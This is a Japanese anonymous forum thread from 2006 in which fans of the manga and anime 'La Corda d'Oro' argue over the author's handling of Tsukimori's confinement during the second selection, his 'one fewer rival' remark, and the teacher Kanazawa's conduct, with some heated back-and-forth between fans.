好きなキャラの嫌な部分は出来るだけ見たくない

ってのは分からなくもないけど、
そういう嫌な部分も含めて好きだからなぁ…

325 :花と名無しさん:2006/12/04(月) 03:01:56 ID:???0
>>323
まぁそうだね…他にも居るようだけど、よほどキャラ壊されたのがショックだったんだろうな

326 :花と名無しさん:2006/12/04(月) 03:04:19 ID:???0
>>324
好きなキャラの嫌な部分というのと、
あのキャラは性格上そんなことしないはず、ってのはまた別じゃないか?
ああいうのを性格の一部として受け取るか、ありえないことと受け取るかの
違いなんじゃないかなと書き込みを見て思ったよ
その基準は人それぞれだろうから、明確な境界線はないと思うけれども…

327 :花と名無しさん:2006/12/04(月) 06:18:00 ID:???0
自分は遙かで水野さんに森村兄妹を改悪されてショックだったけど、
他のキャラは原作より魅力的になったキャラも居たし、
二次創作は作者の主観でキャラが変わっちゃうのはどうしようもないと思う
悪い方に変わっちゃった場合素直に諦める

むしろ未だキャラが確定していない香穂子は大問題だ
賛否両論が出るのが嫌なのかも知れないが、
呉さんの好きなタイプでいいからきちんとキャラ立てして欲しい

328 :花と名無しさん:2006/12/04(月) 06:41:46 ID:???0
>>320
273の書いていることに一切反論できん orz
ゲームの方はどうなんだろ

329 :花と名無しさん:2006/12/04(月) 08:37:17 ID:???O
>>327
自分も森村兄好きだが改悪されたとは感じてないから本当に人それぞれだと思うよ

香穂子については、完全無個性のキャラに色付けするとなると
すべての言動が作者の解釈や判断と捉えられるわけだけど、
これだけ性格が変わるのは問題だな…今からでもいいから、
各キャラの設定見直して確立させた方がいいだろうね
良い面も積極的に出していってほしいよ
あれではどのキャラも陰気に見えてしまう…

あとは使い捨てな脇役出さなくても話が進められるよう頑張ってほしいな

330 :花と名無しさん:2006/12/04(月) 08:48:34 ID:???0
アニメで見た火原の服装があまりに異様だったんで
漫画の方見てみたが、同じだな
呉さんはあんな変な服着た人見たことあるんだろうか
てか、担当編集者はなぜ指摘しなかったんだろう

331 :花と名無しさん:2006/12/04(月) 08:58:13 ID:???O
>>330
漫画じゃそれほど異様には感じてなかったんだが、色が付くと…だったなあと

332 :花と名無しさん:2006/12/04(月) 09:17:13 ID:???0
あれじゃ腕上げたとき腋毛が見えてしまう

333 :花と名無しさん:2006/12/04(月) 09:26:08 ID:???0
OPでも袖のないの着てたよね。アニメスタッフもなんも思わんのだろ

334 :花と名無しさん:2006/12/04(月) 10:07:30 ID:???0
警鐘もだけど土浦をミーハーとからかうセリフがアニメでは無くて
自分はホッとしたよ

そういえば、月森監禁なんてコンクールを妨害する事件が起こったのに
リリは何のコメントもしてなかったような…
あれだけ魔法であれこれできるんだし、関係者以外立ち入り禁止にするとか
出場者がステージに安心して上がれる様に配慮できそうなのに

335 :花と名無しさん:2006/12/04(月) 10:30:38 ID:???O
アニメスレで書かれたのを読んで今更気付いた
なんで第一セレだけ、その場で順位が発表されたんだろう

336 :花と名無しさん:2006/12/04(月) 11:31:14 ID:???0
>>334
言われてみれば、リリの主催のコンクールなのに
香穂子以外にはてんで無関心だよね、リリ。
参加者が普通に演奏することさえままならないなんて
音楽を広めるとかそれ以前の問題のような気がするんだが

337 :花と名無しさん:2006/12/04(月) 12:23:35 ID:???O
リリは都合の良いときにしか出てこないなぁといつも思う
校長も存在を知ってるんだっけ?そのわりに全然出て来ないよね
月森閉じ込めの話くらい耳に入りそうなもんなのに何ごともなかったみたいだ
順位が貼り出されるのなら、月森が最下位ってのに生徒や先生も普通に疑問を持つだろうし…

使い捨ての悪役を安易に作ったツケだな

338 :花と名無しさん:2006/12/04(月) 12:36:55 ID:???O
火原との賭けに負けたくないからと金やんにプレッシャーをかけられた冬海ちゃんと、
月森のために時間稼ぎを強いられた志水が気の毒だ
もしかしたらもっと成績良かったかもしれないのに…

香穂子は二位で罪悪感持ったみたいだけど、それ以前にやり直してくれと
言いたいくらいの内容だったなぁ、自分は…音楽を楽しむなんて程遠いよ

339 :花と名無しさん:2006/12/04(月) 12:48:50 ID:???O
寧ろあのコンクールが音楽を楽しむ心から遠ざけてるような

340 :花と名無しさん:2006/12/04(月) 12:58:12 ID:???0
金やんが香穂子に「わかってるけどあきらめろ」って言ったところ、
今からセレクションをやり直すわけにはいかないけど
これからは皆が安心して参加できるように学校側と対策を話し合うからとか
少しでもフォローする言葉があったら良かったな

>>338
志水と冬海ちゃんは気の毒だったね
月森の件は順位調整の意味もあっただろうけど
香穂子を2位にする=他の参加者の順位を落とさないと…という考えで
この二人までああいう展開になったとは思いたくないけど…

341 :花と名無しさん:2006/12/04(月) 13:08:27 ID:???0
次週のアニメで、監禁した3人組へのお咎めについて、
たとえば金やんから、何かしらのコメントがあるといいなと思う
マンガではきっれーいに流されてるし
あれがなんで取り沙汰されなかったのか、不思議でしょうがない
土浦がめがね連れてきた時点で犯人はわかったんだし
少なくとも停学処分くらいにはしてほしかった
そういうコメントくらいあってもよかったのに

342 :花と名無しさん:2006/12/04(月) 14:22:17 ID:???O
月森が本番すっぽかしたと思ったのか?学校側は…
理由を訊かずやり直しもなく最下位にして終わりって有り得ない

343 :花と名無しさん:2006/12/04(月) 14:39:58 ID:???0
金やんは香穂子から事情を聞いたようだったけどね
教頭先生が月森夫妻の手前、何かフォローするかと思えばそれもないし
後味悪いセレクションだよ…

344 :花と名無しさん:2006/12/04(月) 14:44:16 ID:???O
後味が良かったセレって今のところ無いな

345 :花と名無しさん:2006/12/04(月) 16:02:12 ID:???0
>>338
思った。冬海ちゃんはともかく、志水のあの牛歩は明らかに減点対象だよ。
教師の指示に従っただけなのに減点され、減点されてまで時間稼ぎしたのに月森は間に合わず…。
気の毒すぎると思った。

346 :花と名無しさん:2006/12/04(月) 16:09:06 ID:???0
>>338
少ない出番の上、DQN教師扱いな金やん…
不憫過ぎるorz

347 :花と名無しさん:2006/12/04(月) 16:37:37 ID:???0
金やんゲームでも職務放棄気味DQN教師じゃない?

348 :花と名無しさん:2006/12/04(月) 16:42:01 ID:???0
うん、結構

349 :花と名無しさん:2006/12/04(月) 17:20:11 ID:???O
ゲームでもあんななのか。正直いてもいなくても同じキャラだなと思ってたが

350 :花と名無しさん:2006/12/04(月) 18:49:36 ID:???0
ゲームはルートに入れば、相談にも乗ってくれるじゃないか。
まあ最初は相談しようとしても、面倒くさがられるけどさ…

でも少なくとも、相手が真面目に向かって行けば
真面目に相手してくれる人だ。DQN呼ばわりはやめてくれ。
漫画の方はともかく。

351 :花と名無しさん:2006/12/04(月) 18:54:20 ID:???0
マジメに質問しに言った月森に3回まわってワンやれ

っていう先生がいい先生なのか
志水の質問にも答えないし、女生徒からの質問は逃げ出すし

352 :花と名無しさん:2006/12/04(月) 18:55:47 ID:???0
・・・本当に教師か?

353 :花と名無しさん:2006/12/04(月) 19:18:13 ID:???O
とりあえず、ゲーム話は改行しておくれ

354 :花と名無しさん:2006/12/04(月) 19:30:06 ID:???0
もう呉さんのセンスが変なのか、
ゲームが変なのか分からなくなってきたな

355 :花と名無しさん:2006/12/04(月) 19:37:16 ID:???O
土浦の件にしてもそうだけど、ゲームでもそれなりに性格きつかったり
嫌がらせされてても、それを上回る萌えがあるから相殺されて
好きな面が大きく上回るのでは?

セレを含む話の流れの悪さやキャラの良い面が積極的に引き出されないのは
呉さんの力不足だと思うけど

356 :花と名無しさん:2006/12/04(月) 19:43:31 ID:???0
うん。なんつーか、イベントで嫌な部分もみるけど、
他にも色々やり取りする中でそういうやな部分も含めて一つのキャラクターとして
成立してるからこそ愛せるというか、受け容れられてるんだと思う

逆に漫画は色々削ってる分、未だにキャラが確立してない印象がある

357 :花と名無しさん:2006/12/04(月) 19:53:21 ID:???0
相殺されるかもしれないけど、教師としてはDQN呼ばわりされても仕方ない。
仲良くないうちは、どんなに真摯に質問しようが蔑ろにされるわけで。


358 :花と名無しさん:2006/12/04(月) 19:55:27 ID:???0
2セレは金やんの態度以上に、月森をもっと何とかしてほしかった。
奴は常々、「音楽に向き合う姿勢」を口にするが、自分はどうなんだ?
音楽、そして自分と同じように音楽に向き合う人たちに対して、とても失礼な見方をしていないだろうか。

一同に向かって「ご迷惑おかけしました」と深々と頭を下げたが、それだけではいけなかったと思う。
その前に「ライバルがひとり減るんだ。願ったりだろう」「これから戻って弾いたって意味はない」と言ってしまった以上は。

「意味はない」の方は1人の演奏でフォローしているが、「ライバルが減る。願ったり〜」の方はどうか。
土浦と火原があんなに必死になって走り回って探してくれたことは?
特に土浦は、ピアノを弾く大切な指を痛めるかもしれないのに、犯人と格闘して捕まえ、連れて来てくれた。
志水は自分が減点されるだろうに、それでも月森が間に合うようあんな牛歩をしてくれた。そのことは?
靴擦れの痛い足で一生懸命月森を探し、ドレスが汚れるし指にも良くないのに監禁場所をこじ開けてくれた香穂子は?
ついでに月森が戻ってくるのをハラハラ待っていた伴奏の子は?

月森のために、こんなにたくさんの人が心配し動いてくれたのに「ライバルが減る。願ったり〜」はないだろう。
少なくともそんな自分の暴言を恥じ、認識を改めたとはっきり解るシーンが欲しかった。
個々に謝罪の言葉を告げるだけでも良かったのに、そういったシーンがなかったのが不満だったな。

それ以降、月森が「音楽に向き合う姿勢」を告げても、「お前がそれを言えるのか?」と思ってしまう。
「音楽に向き合う人間の姿勢」について、決してあれこれ批判できるほどの人間ではない。
香穂子が月森の音楽に向き合う姿勢を絶対視しているだけに、余計気になる。


359 :花と名無しさん:2006/12/04(月) 19:58:17 ID:???0
月森は知らないでしょ<土浦や火原や志水

あと別に香穂子は靴擦れおこしてない

360 :花と名無しさん:2006/12/04(月) 19:59:34 ID:???0
>>358
言ってる事は同意だが長すぎ

361 :花と名無しさん:2006/12/04(月) 20:00:52 ID:???0
>>359
知らなければ、どんな暴言をかましていいの?
それは、知らなければいけないことだと思うよ。
少なくとも土浦の犯人強制連行はその目で見ているんだから、察することはできる筈。

それと香穂子は靴擦れを起こしていたから、土浦と火原と違って外に探しに行かなかったとある。
なのに中を探してくれたんだよね。

362 :花と名無しさん:2006/12/04(月) 20:02:40 ID:???0
知らなかったんだからという言い訳が通用するのは小学生までだよ…
高校生になったら、自分の発言に責任を持たないとね

363 :花と名無しさん:2006/12/04(月) 20:03:30 ID:???0
月森はドイツ語を勉強するより、人との付き合い方を学ぶ方が先だなw

364 :花と名無しさん:2006/12/04(月) 20:04:31 ID:???0
>>358
来週のアニメで個々にあやまるシーン追加とかされるといいな。
その後の月森のセリフに説得力なくなりそうだもんね

365 :花と名無しさん:2006/12/04(月) 20:04:43 ID:???0
>>361
そもそも暴言は月森が閉じ込められてたときで土浦たちは関係ない
香穂子が外に出なかったのはあの靴で外を歩き回るには向かなかったからであって
靴擦れ起こしてたわけじゃない

尋常じゃない状態で月森にその場で全部気づけってのは銅考えても酷だよ

366 :花と名無しさん:2006/12/04(月) 20:07:51 ID:???0
論点がブレすぎててよくわかんないけど、
「ご迷惑をおかけしました」
で十分だと思うけど。

他の人がいろいろ動いたのは分かるけど、
月森なら「頼んでない」で終わりだと思うよ
自分の行動は自分の望んで起こすものなんだから
他人からどうこう言われたいもんでもないし、
言われても微妙でしょうよ

月森が土浦に犯人捕まえてくれてありがとうなんて間違っても言わないし
言われても土浦だってこれっぽっちも嬉しくないと思うよ

367 :花と名無しさん:2006/12/04(月) 20:09:43 ID:???0
月森が気付いたかどうかより、普段の認識の問題だと思うな。
彼にとっては「音楽やってる奴は誰でもライバルが減れば喜ぶ」
という認識だったが、実際は違ったわけだ。

368 :花と名無しさん:2006/12/04(月) 20:11:01 ID:???O
呉さんが悪い、でFAだろ
最終セレはどんな事件かな〜……orz

369 :花と名無しさん:2006/12/04(月) 20:11:06 ID:???0
柚木からちくちくプレッシャー受けてたし、
参加者全員あんな感じって思っちゃった可能性はあるかも

370 :花と名無しさん:2006/12/04(月) 20:11:21 ID:???0
>>358=361?
靴擦れは第1セレの話でしょ。
第2セレは土浦に「その靴じゃキツイだろ」と言われた
(多分ヒールが高い靴だから、走り回るの大変だろうって意味じゃないの?)
だけで、その後走り回ってるし。

ま、フォローが欲しいってことには同意だが。

371 :花と名無しさん:2006/12/04(月) 20:13:54 ID:???0
>>365
つーか、面と向かって言わなければいいって問題か?
香穂子が「私達のことそんなふうに見てたの!?」と叫んでいたが、コンクール参加者全員に対する侮辱ジャマイカ

確かに月森の状況には確かに同情すべき点はあるが、それを差し引いてもそんな科白が出てくるというのは
日頃からそういう風に皆を見ていたってことだろ

更に自分の状況でいっぱいいっぱいで、落ち着いてからも皆がどれだけ自分のために動いてくれたか考えず
暴言について反省しないとしたら、月森は所詮それだけの男だったということ

音楽や音楽に携わる人間に対して視野狭窄で、ありがたく音楽に対する姿勢を拝聴できるほとに思えない



372 :花と名無しさん:2006/12/04(月) 20:15:05 ID:???0
>>369
月森は自分が柚木にわざといびられていたと気付いていなかったのでは?
あくまで柚木は白を装っていたからな…

373 :花と名無しさん:2006/12/04(月) 20:15:47 ID:???0
>>371
>つーか、面と向かって言わなければいいって問題か?
>香穂子が「私達のことそんなふうに見てたの!?」と叫んでいたが、コンクール参加者全員に対する侮辱ジャマイカ

別に侮辱だとは思わないけど

>確かに月森の状況には確かに同情すべき点はあるが、それを差し引いてもそんな科白が出てくるというのは
>日頃からそういう風に皆を見ていたってことだろ

そういうキャラですから

>更に自分の状況でいっぱいいっぱいで、落ち着いてからも皆がどれだけ自分のために動いてくれたか考えず
>暴言について反省しないとしたら、月森は所詮それだけの男だったということ

それは貴方の思い込みですよね?

>音楽や音楽に携わる人間に対して視野狭窄で、ありがたく音楽に対する姿勢を拝聴できるほとに思えない

後半は訳がわかりませんが、だからこそ月森はいつも焦燥を抱いてるんじゃないの?


374 :花と名無しさん:2006/12/04(月) 20:18:13 ID:???0
>>372
ちくちくプレッシャーかけてくる人間は多いだろうし、
月森の中で「コンクール参加者=1位を争いあうライバル」て認識だとは思うよ

実際今でも、1位に固執する彼のスタイルは変わってないし
音も演奏も大きく変わったわけでもないようだし


んでもって、両親や香穂子のように優しい演奏できないのはその性であって
コレは多分ずっと解消されないままなんだろうなって思うよ

375 :花と名無しさん:2006/12/04(月) 20:18:42 ID:???0

     ( (  ) ) 
     ____ 
    i´-======-`i 
    } . .. ..::;:;;;;;彡{ 
    i . .. (,,゚Д゚);;;|  ∬   ヒートアップし杉。
    }  (ノ .::;:;;;;彡{つ旦 < みんな茶でも飲んでおちけつ。 
    !,  .. .:.::;:;;;彡j 
    ヽ、.. ....::::;;;ジ 
     └∪゙∪┘ 

376 :花と名無しさん:2006/12/04(月) 20:19:11 ID:???0
はいはい呉さんが悪い呉さんが悪いよー

377 :花と名無しさん:2006/12/04(月) 20:19:17 ID:???0
>>371
でも香穂子は月森の音楽に対する姿勢を
やたら絶対視してるんだよねー・・・
月森って、音楽は好きだけど
音楽やってる人間は嫌いなんじゃなかろうか
自分と家族を除いて

378 :花と名無しさん:2006/12/04(月) 20:20:40 ID:???0
>>366
「ライバルがひとり減るんだ。願ったりだろう」を言っていないなら、そうだろうね。

>>367他にある通り、自分の偏った認識でコンクールの面々を決め付けてしまったが
実際はそうではなかったってことだろう。
「頼んでない」とはもう別の問題で、月森が自分の誤った認識についてどうするのかという問題だと思うぞ。

379 :花と名無しさん:2006/12/04(月) 20:21:46 ID:???0
373はよほどの月森ファンなんだな〜

380 :花と名無しさん:2006/12/04(月) 20:24:01 ID:???0
>>378
本来なら月森が自分の音楽に向き合って
改めて音楽への愛情を見つめなおすと同時に、
音楽を演奏する楽しさに気づき
優しい音色を出せるようになる

ってのが綺麗な流れなんだろうけど、
香穂子一人の成長でいっぱいいっぱい&他のキャラの出番も作らないといけない
で月森の成長が投げっぱなしなのは間違いないと思うよ

でも成長前の月森をいくら否定しても、正直どうにも成らないと思うんだけど

381 :花と名無しさん:2006/12/04(月) 20:25:19 ID:???0
個人的には月森がどんなに歪んだキャラで、自分の思い込みを改めない勝手キャラでもいいと思う

ただそんな月森に音楽に対する姿勢を語らせ、香穂子が絶対視しているのはなぁ
確かに説得力に欠けるよ
「ライバルがひとり減るんだ。願ったり」ではなかった他の参加者に対して反省するようなシーンさえあれば良かった
その方が音楽に対する姿勢への見方に対して公平さや説得力があったな

382 :花と名無しさん:2006/12/04(月) 20:27:05 ID:???0
音楽に対する姿勢と人に対する姿勢がどう繋がるのかがよくわからない

383 :花と名無しさん:2006/12/04(月) 20:29:47 ID:???0
>>380
おおむね同意。

>でも成長前の月森をいくら否定しても
いや、否定でなくて、そこで成長させればってことでは?

この経験で、他の参加者がライバルを減らしてまで順位を上げようとしていなかったことが解ったんだし、
極端な話、皆に謝らなくても「自分の考えが間違っていた」と一言言わせるだけでよかったんだよね。

それだけでも月森の随分な成長が感じられるんだが。

384 :花と名無しさん:2006/12/04(月) 20:30:48 ID:???0
月森というキャラに対する批判なのか、
展開に対する作者への批判なのかがよくわからないな

実際、自分を未熟だと思ってる月森が「音楽に対する姿勢」を連発しても
? って感じだけど、
そもそも月森の言ってる音楽に対する姿勢ってなんなんだろう?

385 :花と名無しさん:2006/12/04(月) 20:31:12 ID:???0
>>382
月森は音楽やってる者には偏見持ってるけど
音楽自体に対しては超真摯だから関係無いってこと?

386 :花と名無しさん:2006/12/04(月) 20:32:14 ID:???O
この漫画に今更何を望んでるんだろうな

387 :花と名無しさん:2006/12/04(月) 20:32:28 ID:???0
実際、後ろから襲われた月森にはわからなかったにしても
音楽科の生徒=音楽に近い立場、音楽を愛する同志であってもおかしくない存在に
蹴られ閉じこめられ、コンクール参加を妨害されているわけだしなー。
それが月森の日常の一部でもあるんじゃないの。
皆が皆そうではないとしても、そういうヤツが確実にいるってのがさ。
それに、閉じこめられてる間のことなんて、エスパーじゃあるまいしわかるわけないし。

2セレの時点で、コンクール参加者皆と腹を割って話せるような
仲間付き合いしているわけでもないし、「自分の身の回りは皆いい人なんだ!」と
思えるような良い環境にはいないってことなんじゃないの。


388 :花と名無しさん:2006/12/04(月) 20:32:48 ID:???0
>>382

>>358
>奴は常々、「音楽に向き合う姿勢」を口にするが、自分はどうなんだ?
>音楽、そして自分と同じように音楽に向き合う人たちに対して、とても失礼な見方をしていないだろうか。
            (中略)
>それ以降、月森が「音楽に向き合う姿勢」を告げても、「お前がそれを言えるのか?」と思ってしまう。
>「音楽に向き合う人間の姿勢」について、決してあれこれ批判できるほどの人間ではない。
>香穂子が月森の音楽に向き合う姿勢を絶対視しているだけに、余計気になる。


389 :花と名無しさん:2006/12/04(月) 20:35:05 ID:???0
>>388
月森は自分自身が「1位を狙うのは当然、それ以外に何の目的がある」
というキャラでしょう?

自分の価値観=他人の価値観
だと思えば、そんなに不自然じゃないと思うんだけども

月森は自分の中で完結しちゃってるキャラだと思うんだ。
だから、他人がどうとか、そういうのあまり思ってないと思う
あの台詞も他人をそういう風に見ていたじゃなくて、
自分自身がそういう風に思っていた、
ってことなんじゃないかなっておもうんだけども

390 :花と名無しさん:2006/12/04(月) 20:36:14 ID:???0
>>387
だから、今回みんなが一生懸命自分のために動いてくれたことを知って、認識が変われば良かったんじゃない?
香穂子が必死だったり、土浦が犯人を連行しているんだから、嫌でも自分の考え通りでなかったと解るだろう

そこで「人の足を引っ張ったり順位を気にする奴らばかりじゃないんだな」という成長エピに繋げれば綺麗だったのに

391 :花と名無しさん:2006/12/04(月) 20:36:55 ID:???0
>>389
自分も月森は自己完結タイプだと思う。
ただ、その彼がわざわざ香穂子の姿勢にまで口出しするのが
ちょっとそぐわない気がする。

392 :花と名無しさん:2006/12/04(月) 20:37:47 ID:???0
あの状況で土浦まで目に入ってたのかな…
私ならあんな状況じゃ自分のことだけでいっぱいいっぱいになると思うけど

393 :花と名無しさん:2006/12/04(月) 20:38:46 ID:???0
>>389
うん、だから
自分の価値観=他人の価値観だったのが、実は他人の価値観は自分の価値観と違うんだ…!
とはっきり自覚させればよかったんじゃね?

それがこのスレで繰り返し言われている成長エピなんだと思う。


394 :花と名無しさん:2006/12/04(月) 20:38:47 ID:???0
*ゲーム話





>>391
ゲームでそんな感じの話題あったなぁ、そういや
「気にしなきゃいいのに」とか言われて、どもってた

395 :花と名無しさん:2006/12/04(月) 20:39:43 ID:???0
>>393
なるほど。
一人で演奏で終了した感になって、
価値観の改革まで辿り着けなかったってことか

だから未だに月森はさっぱりデレないのかw

396 :花と名無しさん:2006/12/04(月) 20:40:42 ID:???0
>>393
呉さんが描くと事件がただの事件で終わってしまって、
成長エピにならないんだよね・・・。
結果としてキャラが突っ込まれることになって、もったいない

397 :花と名無しさん:2006/12/04(月) 20:42:18 ID:???0
つまり呉さんは月森のデレ時を逃したと

398 :花と名無しさん:2006/12/04(月) 20:42:20 ID:???0
>>392
香穂子のことは?
あの場でなくてもその後、自分の処置に絡んであの生徒の処分も取り沙汰されるだろうし
あんなまともそうな親なら、皆がどれだけ自分のために動いてくれたか告げそうなものだが。

それでもあくまで自分のことだけでいっぱいいっぱいで、やっぱり皆はライバルが減ってうれしいと思っているなら、どうしようもないキャラだよ。


399 :花と名無しさん:2006/12/04(月) 20:42:43 ID:???O
結局は、作者が「月森の順位操作」という目的を果たすことを最優先させたために
月森始めほかのメインキャラや脇キャラの扱いがおざなりになってしまった
って部分が大きい気がするんだが…

いつも行き当たりばったりで後先考えないあたり、
作者は香穂子とよく似ていると思う

400 :花と名無しさん:2006/12/04(月) 20:44:06 ID:???0
>>399
そんな感じだね。
とうでもいいが、スレの勢いがとうとう100に…!

401 :花と名無しさん:2006/12/04(月) 20:44:53 ID:???0
>>399
結局そういうことなんだろうなー。
一度に一つのことしか考えられないあたりも似てるな>作者と香穂子

402 :花と名無しさん:2006/12/04(月) 20:47:03 ID:???0
話は変わるが、「願ったりだろう」って日本語として変じゃない?
「願ったり叶ったりだろう」でないと、意味不明だよ。

403 :花と名無しさん:2006/12/04(月) 20:48:45 ID:???0
>>390
ああ、ごめん。
自分、>>371ってアンカー付けわすれてたよ。
コンクール参加者への侮辱だとかそういうのへのレスでした。

たしかにそこで成長エピに繋げれば良かったのにというのは同意。
しかし、そこでそうはならなかったからって月森ってキャラを責めてもな、と。
構成とかそういうののせいじゃないのかなって思うんだけど。
エピソードのうちの起承をやって転に入りかけたところでぶった切れたって感じで
実に勿体ない。

404 :花と名無しさん:2006/12/04(月) 20:48:54 ID:???0
>>402
おかしいよね
ついでに、いつまでも帰ってこない月森のことを金やんが「勘弁しろよ月森」と独白するのも

「勘弁してくれ月森」だよなぁ…

405 :花と名無しさん:2006/12/04(月) 20:51:47 ID:???0
順位操作ってのを見る度に、急な体調不良とかじゃダメだったんだろうかと毎度思う。
もちろん柚木のねちねち攻撃は無しで。

406 :花と名無しさん:2006/12/04(月) 20:54:26 ID:???0
>>403
月森というキャラを責めているんじゃなくて、月森の成長エピに繋げられなかった作者を責めているんじゃないか?

どうでもいいが「ライバルが減って願ったりだろう」がコンクール参加者への侮辱になってしまっているのは当たっていると思う
実際はみんな順位に関係なく(志水に至っては恐らく減点されるだろうに)月森のために動いてくれたんだから

で、侮辱発言自体は月森らしくでいいが、その後で自分の暴言通りでなかった=認識を改めると続いたら
成長エピになったのにってことだろう

407 :花と名無しさん:2006/12/04(月) 20:57:24 ID:???0
月森を好きな人が、月森が責められていると思って興奮しているのでは?
月森はもともとそういうキャラなんだからおかしくない!って。

そのせいで、月森の好き嫌い以前にこれを月森の成長エピに繋げてほしい人と
話が噛みあわなくなっているんだよ。

408 :花と名無しさん:2006/12/04(月) 20:58:16 ID:???0
>>405
順位操作はするなとは言わんが、
あんな形でする必要はなかったと思うな
ここで言われてるように月森の成長エピに繋げるんならまだしも
誰も喜ばない(妨害した奴以外)ただ後味が悪いだけの事件に
なってしまったし・・・

409 :花と名無しさん:2006/12/04(月) 20:58:42 ID:???0
>>407
そうかもな。
ま、みんなもちつけ。

410 :花と名無しさん:2006/12/04(月) 21:00:54 ID:???0
>>407
うん、責められてるのはこの場合呉さんだよな

411 :花と名無しさん:2006/12/04(月) 21:06:29 ID:???0
「所詮それだけの男」とか「どうしようもないキャラ」とかあったりするから
月森好きで熱くなる人がいるんじゃないのかな
私も途中までキャラ批判なのかストーリーに対する批評なのかわからなかったよ。



*ゲーム話







月森の価値観の変化をハッキリ出すのって、
ゲームでは月森ルートの最後の最後だったような。
呉さんもそうするつもりなのかな…





412 :花と名無しさん:2006/12/04(月) 21:10:30 ID:???0
>>408
伏線としてだったら全く構わないんだけどね。
アニメが嫌味なシーンカットしてるから、
すっぱりカットできないかなと思ってただけで。


413 :花と名無しさん:2006/12/04(月) 21:30:20 ID:???0
ふと思ったが、いっそ問題の科白を
「どうせ間に合っても、遅刻したということで大幅に減点されて、優勝できない」
ぐらいにした方が良かったんじゃないか?

他の参加者を引き合いに出し、しかも事実と違うからややこしいことになる
だから他の参加者に対しては何も言わず、あくまで月森は点数や優勝に拘って
演奏する意味を見出せなかった…とした方が、流れ的に良かった希ガス

414 :花と名無しさん:2006/12/04(月) 21:32:33 ID:???0
>>407
いや、月森というキャラ自体を批判してるでしょ

>どうしようもないキャラだよ。

とかってそうでしょ?

415 :花と名無しさん:2006/12/04(月) 21:38:36 ID:???0
>>402,404
日本語としてはおかしいけど、口語として通用するから
漫画としては別にいいんじゃない?

正直そんなことまで突っ込んでたら、この漫画どうにもならないよw


416 :花と名無しさん:2006/12/04(月) 21:39:14 ID:???0
とりあえず、火原が変わりつつあるけど、
ちゃんと成長できるかね

柚木みたいに一言でお手軽変化されてもなぁ

417 :花と名無しさん:2006/12/04(月) 21:40:46 ID:???0
>>414
それを書いたのは自分だが、その武分だけ取り出されても…。

>>398
(前略)
>それでもあくまで自分のことだけでいっぱいいっぱいで、やっぱり皆はライバルが減ってうれしいと思っ
>ているなら、どうしようもないキャラだよ。

仮定形で書いているの、解らない?
もしそういうキャラならどうしようもないキャラだから嫌だ、そういうのは止めてほしいという意味なんだが。


418 :花と名無しさん:2006/12/04(月) 21:41:08 ID:???0
>>414
してないだろ、よく読めよ…

そこだけとりあげて「ほら、批判してる!」って子供か?
前後の文をちゃんと読め

419 :417:2006/12/04(月) 21:41:52 ID:???0
×武分
○部分

スマソ


420 :花と名無しさん:2006/12/04(月) 21:43:08 ID:???0
月森ファンの人、もちつけ
月森を好きなのはいいが、月森並に視野狭窄に陥っているぞ

421 :花と名無しさん:2006/12/04(月) 21:43:47 ID:???0
>>417-418
そういう言葉を使わなくても表現できないの?
ってこと

相手がカチンと来るような言葉は出来るだけ避けたほうが円滑に進むよ

422 :花と名無しさん:2006/12/04(月) 21:44:31 ID:???0
>>417
いや、そういうキャラでしょ

ただ正々堂々正面から戦っても勝てるだけの自信とその為の練習をつんでるんだけど

423 :花と名無しさん:2006/12/04(月) 21:44:35 ID:???0
おいおい、他人にたしなめられたら、責任転嫁か?



424 :花と名無しさん:2006/12/04(月) 21:45:34 ID:???0
月森ファンの人って、みんなこんなに思い込みが強くて自分を正当化せずにはいられないの?

425 :花と名無しさん:2006/12/04(月) 21:49:19 ID:???O
>>413
うん、それくらいならまだ良かったかもな

呉さんが描こうとしていることは周りを強引に巻き込むものが多いと思う
無理やり繋げて疑問に思うような事柄はすべてカットしちゃうし
それでキャラが成長出来てるかと思えばあまり伝わってこず、
何ごともなかったかのように普段の生活に戻ってしまったり…
これではキャラの魅力も音楽の魅力も伝わってこないよなぁ

426 :花と名無しさん:2006/12/04(月) 21:49:33 ID:???0
>>424
みんながそんな人だとは思わないでくれ。
自分は言い出しっぺの358だが、これでも一応、月森ファンだよ。
制服を届けてくれた香穂子に「すまなかった」と謝るシーンが好き。

2セレでもそんな感じでフォローしてほしかっただけなんだが。
ともあれ、まさかこんなに荒れるとは思わなかった。
荒れる話題をすまなかった。

427 :花と名無しさん:2006/12/04(月) 21:51:12 ID:???0
>>432
いや。普通に話し合いの中で煽るような言葉は
極力使わないようにするべきだと思うよ
正常な話し合いに支障がでるから

どうしようもないキャラだとか所詮それだけの男だとか、
そういうのはよくないよ

あと月森はそういうキャラだと思うよ
さっき上で出てた先生もそうだけど、
コルダは結構問題のある性格のキャラが多いと思うよ。

でも、そういうダメなところも含めてのそのキャラだと思うよ。
そういう性格になった背景とか、抱えてる問題とか、
そういう説明があんまないから漫画だけだと「根性悪っ」としか感じないだろうけど

428 :花と名無しさん:2006/12/04(月) 21:51:32 ID:???O
>>420
>月森並に

ワロタw

429 :花と名無しさん:2006/12/04(月) 21:51:37 ID:???0
月森ファンも月森ファン全部をまとめてpgrするやつもちょっと落ち着け。
流れがおかしいよ。特定のキャラを叩くためのスレじゃないだろう。
そんな事がしたいなら、他所でやるべきだ。


430 :※ゲーム話:2006/12/04(月) 21:53:16 ID:???0
ゲームっつーかゲーム派生のドラマCDの話だけどさ、







スケルツォのドラマの展開が、今回の議題?にちょっぴり通じるような気がするんだけどさ、
(月森のために皆が走り回ったり、最初月森がつっぱねるところとか)
結果的に音楽に対する姿勢を省みたりもして、僅かながらも月森の内面の変化が
感じられる話だった。とまどいながらもお礼も言うしな。志水にだけだけど。

これも「あなたたちには関係ない」とか月森がきっつい台詞言うけど、
人によっては「こんなこと言うキャラは好きじゃない」と思うんかな。
自分はこういうキャラだしな〜と思うだけだったけど。
逆に少しどもりながらお礼言うのが可愛かったw

431 :花と名無しさん:2006/12/04(月) 21:54:00 ID:???0
>>427
じゃあ金やんをDQNだっつーのもやめてくれよ。
同じレベルだろ。
問題があるのは同意だけど、好きなキャラをそういう言われ方したくないって言うなら
同じ事だし、月森だけそういうのやめろっておかしいだろ。

432 :花と名無しさん:2006/12/04(月) 21:54:41 ID:???0
>>432のカキコに期待w

どうでもいいが、この流れを特定キャラを叩くということにしたい人がしつこいのが解せない
作者批判だと繰り返されているのに

そもそもそれを言うなら、もっと早く、延々香穂子は叩かれている時に出てくればいいのに

433 :432:2006/12/04(月) 21:55:36 ID:???0
うわ、自分が>>432ゲットしちまったwww

434 :花と名無しさん:2006/12/04(月) 21:56:04 ID:???0
>>432
よう、>432w

